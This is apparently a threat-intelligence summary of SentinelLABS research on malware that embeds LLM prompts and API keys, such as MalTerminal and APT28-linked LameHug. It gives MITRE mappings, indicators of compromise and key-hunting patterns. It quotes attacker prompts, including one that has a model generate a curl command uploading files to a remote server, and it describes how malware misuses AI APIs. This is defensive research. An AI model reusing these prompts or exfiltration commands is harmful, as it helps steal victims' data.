SentinelLABS research identified multiple examples of malware that embed prompts and API keys to leverage LLMs at runtime, including a likely early LLM-enabled sample dubbed MalTerminal and LameHug (PROMPTSTEAL) linked to APT28. The team found prompt structures, embedded HuggingFace and OpenAI keys, and reuse of standard API libraries that enabled reliable hunting by API-key and prompt detection. #MalTerminal #LameHug
Keypoints
- LLM-enabled malware generates malicious logic at runtime via prompts and model APIs, making static signatures less effective.
- SentinelLABS used YARA rules and prompt-hunting with an LLM classifier to retrohunt and discover samples by identifying embedded API keys and prompt structures.
- MalTerminal appears to be an early LLM-embedded malware sample that used OpenAI chat completions and could generate ransomware or reverse shells on demand.
- LameHug (aka PROMPTSTEAL), linked to APT28, embedded many leaked HuggingFace API keys and used LLMs to generate system shell commands and exfiltrate data via Paramiko/SSH.
- LLM-enabled tools vary from malicious payloads to offensive utilities (people-search agents, vulnerability injectors, WormGPT copycats) and some defensive tools that query LLMs for analysis.
- Dependencies like embedded API keys and hardcoded prompts create both operational fragility for attackers and reliable hunting artifacts for defenders.
- Hunting strategies that focus on provider-specific key patterns (e.g., Anthropic/OpenAI prefixes) and prompt extraction are effective for discovering LLM-enabled samples.
MITRE Techniques
- [T1537] Transfer Data to Cloud Account – Malware used model APIs and embedded keys to transfer data to remote services (“Generate code which uses os.execute to execute this command to upload files to the remote server: ‘curl -k -X POST “” -F “session_key=” -F “file=@”‘”).
- [T1566] Phishing – Adversaries distributed fake or backdoored “AI assistants” as a lure to entice installation of malicious software (“distribute fake or backdoored “AI assistants” or AI-powered software to entice victims into installing malware”).
- [T1204] User Execution – LLM-based lures rely on social-engineering and user installation of AI-enabled applications (“masquer malicious payloads” as AI features to trick victims into installing them).
- [T1573] Encrypted Channel – Use of model APIs and legitimate cloud services can blend malicious traffic with legitimate API usage, complicating network detection (“Network traffic might get mixed with legitimate usage of the vendor’s API and becomes challenging to distinguish”).
- [T1059] Command and Scripting Interpreter – LLMs generated system shell commands and runtime code such as Lua and Python to perform actions (“Generate a Lua script that prints all files in the home directory recursively” and “Return only commands, without markdown”).
- [T1552] Unsecured Credentials – Samples embedded leaked or stolen API keys (e.g., 284 unique HuggingFace keys) to access LLM services (“PromptSteal embeds 284 unique HuggingFace API keys…embedded keys were leaked in a credentials dump observed in 2023”).
- [T1620] Reflective Code Loading – MalTerminal and Python loaders fetched or generated code at runtime from LLM outputs rather than embedding static malicious logic (“uses OpenAI GPT-4 to dynamically generate ransomware code or a reverse shell”).
Indicators of Compromise
- [File Hash ] Malware samples – MalTerminal (hash: 3082156a26534377…c927), PromptLock (hash: 09bf891b7b35b2081…ccd70), and LameHug (hash: 165eaf8183f693f6…8e15e135db2e) — example full hashes provided for each.
- [IP Address ] Exfiltration endpoint – LameHug/PROMPTSTEAL used hardcoded IP 144[.]126[.]202[.]227 for uploading stolen files.
- [File Names ] Observed sample filenames – MalTerminal.exe, testAPI.py, TestMal2.py, TestMal3.py, Defe.py (variants) used as loaders, generators, or analysis tools.
- [API Keys ] Embedded provider keys – 284 unique HuggingFace API keys embedded in PromptSteal samples and OpenAI API keys identified via T3BlbkFJ substring pattern (examples summarized; numerous additional keys observed).
Read more: https://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/